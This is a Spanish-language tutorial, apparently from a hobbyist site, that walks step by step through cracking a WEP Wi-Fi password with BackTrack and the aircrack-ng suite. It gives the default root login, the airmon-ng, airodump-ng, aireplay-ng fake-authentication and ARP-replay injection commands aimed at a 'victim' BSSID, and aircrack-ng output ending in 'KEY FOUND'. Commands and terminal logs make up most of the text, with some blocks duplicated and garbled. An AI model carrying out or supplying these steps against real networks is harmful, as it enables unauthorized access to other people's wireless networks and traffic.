

Lo tienes que iniciar desde el dvd. **El login es root y la contraseña es toor. Y aunque en la contraseña aparezca que no pones nada, si lo pones.** Y das a intro

Luego después de pones **startx**

1. ABRIMOS UNA CONSOLA. Y ESCRIBIMOS ESTE CÓDIGO:

**airmon-ng** (Para saber nuestro interface, si es wlan0,ath,este ejemplo utilizo ath0)

**airodump-ng ath0** (Para escanear las redes cercanas, apuntar el bssid, y el canal de la red). Ver imagen abajo, aquí tenemos una red, **CH es el canal**, en este caso el canal 1. Y el **BSSID** es 00:18:3F:84:37:71

```
CH 1 ][ Elapsed: 1 min ][ 2008-10-22 20:34                               warexone.info
BSSID          PWR RXQ Beacons   #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
00:18:3F:84:37:71  34  93    845         0   0   1  54.  WEP  WEP          WareXone
BSSID          STATION          PWR   Rate Lost Packets Probes
```

Ahora vamos a poner un código para que sólo escanee el canal 1.

**airodump-ng -w redes -c channel --bssid (bssid de la victima) ath0**

Lo explico, **redes**, es para que nos cree un archivo llamado redes, que es el que tendrá las claves, **channel**, sustituirlo por el nº de canal que deseemos escanear. **Bssid de la víctima**, pues el Bssid. En mi ejemplo nos quedaría así:

**airodump-ng -w redes -c 1 --bssid 00:18:3F:84:37:71 ath0**

Abrimos una nueva consola, y ponemos lo siguiente; tal y como aparece aquí. Aquí no tiene nada que ver el canal que hemos elegido.

**aireplay-ng -1 0 -a 00:18:3F:84:37:71 ath0**

```
bt ~ # aireplay-ng -1 0 -e WareXone -a 00:18:3F:84:37:71 -h 00:11:22:33:44:55 ath0
20:35:47 Waiting for beacon frame (BSSID: 00:18:3F:84:37:71) on channel 1
20:35:47 Sending Authentication Request (Open System) [ACK]
20:35:47 Authentication successful
20:35:47 Sending Association Request [ACK]
20:35:47 Association successful :- ) (AID: 1)
bt ~ # █
```

Si es correcto, nos tiene que aparecer una pantalla como esta, las cinco líneas últimas tal y como aparece en la imagen.

Abrimos otra consola, y escribimos esto:

```
aireplay-ng -3 -b 00:18:3F:84:37:71 ath0
```

```
ot ~ # aireplay-ng -l 0 -e WareXone -a 00:18:3F:84:37:71 -h 00:11:22:33:44:55 at
20:35:47 Waiting for beacon frame (BSSID: 00:18:3F:84:37:71) on channel 1
20:35:47 Sending Authentication Request (Open System) [ACK]
20:35:47 Authentication successful
20:35:47 Sending Association Request [ACK]
20:35:47 Association successful (-) (AID: 1) warexone.info
ot ~ # aireplay-ng -3 -b 00:18:3F:84:37:71 -h 00:11:22:33:44:55 ath0
20:37:05 Waiting for beacon frame (BSSID: 00:18:3F:84:37:71) on channel 1
Saving ARP requests in replay_arp-1022-203705.cap
You should also start airodump-ng to capture replies.
Read 17823 packets (got 11632 ARP requests and 5839 ACKs), sent 6781 packets...
Read 17973 packets (got 11729 ARP requests and 5888 ACKs), sent 6831 packets...
Read 18075 packets (got 11798 ARP requests and 5920 ACKs), sent 6882 packets...
Read 18204 packets (got 11881 ARP requests and 5963 ACKs), sent 6932 packets...
Read 18317 packets (got 11955 ARP requests and 6001 ACKs), sent 6981 packets...
Read 18443 packets (got 12039 ARP requests and 6041 ACKs), sent 7031 packets...
Read 18578 packets (got 12127 ARP requests and 6085 ACKs), sent 7082 packets...
Read 18843 packets (got 12298 ARP requests and 6173 ACKs), sent 7132 packets...
Read 18960 packets (got 12375 ARP requests and 6211 ACKs), sent 7182 packets...
Read 19073 packets (got 12448 ARP requests and 6248 ACKs), sent 7232 packets...
Read 19193 packets (got 12527 ARP requests and 6287 ACKs), sent 7282 packets...
Read 19316 packets (got 12607 ARP requests and 6327 ACKs), sent 7332 packets...
Read 19429 packets (got 12681 ARP requests and 6364 ACKs), sent 7382 packets...
Read 19549 packets (got 12760 ARP requests and 6403 ACKs), sent 7432 packets...
Read 19750 packets (got 12889 ARP requests and 6470 ACKs), sent 7482 packets...
Read 19968 packets (got 13030 ARP requests and 6543 ACKs), sent 7532 packets...
Read 20118 packets (got 13127 ARP requests and 6593 ACKs), sent 7582 packets...
Read 20245 packets (got 13211 ARP requests and 6635 ACKs), sent 7632 packets...
Read 29299 packets (got 19118 ARP requests and 9623 ACKs), sent 10936 packets...
Read 29447 packets (got 19214 ARP requests and 9672 ACKs), sent 10986 packets...
Read 29592 packets (got 19308 ARP requests and 9720 ACKs), sent 11035 packets...
Read 29736 packets (got 19402 ARP requests and 9767 ACKs), sent 11085 packets...
Read 29889 packets (got 19503 ARP requests and 9817 ACKs), sent 11136 packets...
Read 30035 packets (got 19598 ARP requests and 9865 ACKs), sent 11186 packets...
```

Si lo hemos hecho bien, nos tiene que aparecer esta pantalla, lo mejor es darle unos minutos, 10 o un cuarto de hora.

Ahora vamos a la primera consola, y nos tenemos que fijar que donde pone **#Data**, tiene que tener debajo 30000

Ahora paramos la tercera consola que abrimos, donde nos aparecía esto, ver imagen abajo. La podemos parar con **Control + C**

```

bt ~ # aireplay-ng -l 0 -e WareXone -a 00:18:3F:84:37:71 -h 00:11:22:33:44:55 at
20:35:47 Waiting for beacon frame (BSSID: 00:18:3F:84:37:71) on channel 1

20:35:47 Sending Authentication Request (Open System) [ACK]
20:35:47 Authentication successful
20:35:47 Sending Association Request [ACK]
20:35:47 Association successful (-) (AID: 1) warexone.info
bt ~ # aireplay-ng -3 -b 00:18:3F:84:37:71 -h 00:11:22:33:44:55 ath0
20:37:05 Waiting for beacon frame (BSSID: 00:18:3F:84:37:71) on channel 1
Saving ARP requests in replay_arp-1022-203705.cap
You should also start airodump-ng to capture replies.
Read 17823 packets (got 11632 ARP requests and 5839 ACKs), sent 6781 packets...
Read 17973 packets (got 11729 ARP requests and 5888 ACKs), sent 6831 packets...
Read 18075 packets (got 11798 ARP requests and 5920 ACKs), sent 6882 packets...
Read 18204 packets (got 11881 ARP requests and 5963 ACKs), sent 6932 packets...
Read 18317 packets (got 11955 ARP requests and 6001 ACKs), sent 6981 packets...
Read 18443 packets (got 12039 ARP requests and 6041 ACKs), sent 7031 packets...
Read 18578 packets (got 12127 ARP requests and 6085 ACKs), sent 7082 packets...
Read 18843 packets (got 12298 ARP requests and 6173 ACKs), sent 7132 packets...
Read 18960 packets (got 12375 ARP requests and 6211 ACKs), sent 7182 packets...
Read 19073 packets (got 12448 ARP requests and 6248 ACKs), sent 7232 packets...
Read 19193 packets (got 12527 ARP requests and 6287 ACKs), sent 7282 packets...
Read 19316 packets (got 12607 ARP requests and 6327 ACKs), sent 7332 packets...
Read 19429 packets (got 12681 ARP requests and 6364 ACKs), sent 7382 packets...
Read 19549 packets (got 12760 ARP requests and 6403 ACKs), sent 7432 packets...
Read 19750 packets (got 12889 ARP requests and 6470 ACKs), sent 7482 packets...
Read 19968 packets (got 13030 ARP requests and 6543 ACKs), sent 7532 packets...
Read 20118 packets (got 13127 ARP requests and 6593 ACKs), sent 7582 packets...
Read 20245 packets (got 13211 ARP requests and 6635 ACKs), sent 7632 packets...
Read 29299 packets (got 19118 ARP requests and 9623 ACKs), sent 10936 packets...
Read 29447 packets (got 19214 ARP requests and 9672 ACKs), sent 10986 packets...
Read 29592 packets (got 19308 ARP requests and 9720 ACKs), sent 11035 packets...
Read 29736 packets (got 19402 ARP requests and 9767 ACKs), sent 11085 packets...
Read 29889 packets (got 19503 ARP requests and 9817 ACKs), sent 11136 packets...
Read 30035 packets (got 19598 ARP requests and 9865 ACKs), sent 11186 packets...

```

Después de pararla, escribimos el código `dir` , que sirve para que nos muestre los archivos que tenemos.

Ahora, ponemos:

**aircrack-ng (nombre de archivo).cap**

En mi caso, como el archivo lo he llamado redes:

**aircrack-ng redes.cap**

```

bt ~ # aircrack-ng redes-01.cap
Opening redes-01.cap
Read 65241 packets.
warexone.info

# BSSID          ESSID          Encryption
1 00:18:3F:84:37:71 WareXone       WEP (20492 IVs)
2 77:18:01:0C:AD:78          Unknown
3 F0:9A:32:8F:9E:0F          WPA (0 handshake)
4 F0:B8:9D:82:25:A0          Unknown

Index number of target network ? 1

Opening redes-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 41319 ivs.
KEY FOUND! [ 78:51:04:26:04 ]
Decrypted correctly: 100%

```

Esta es la clave, sin los puntos intermedios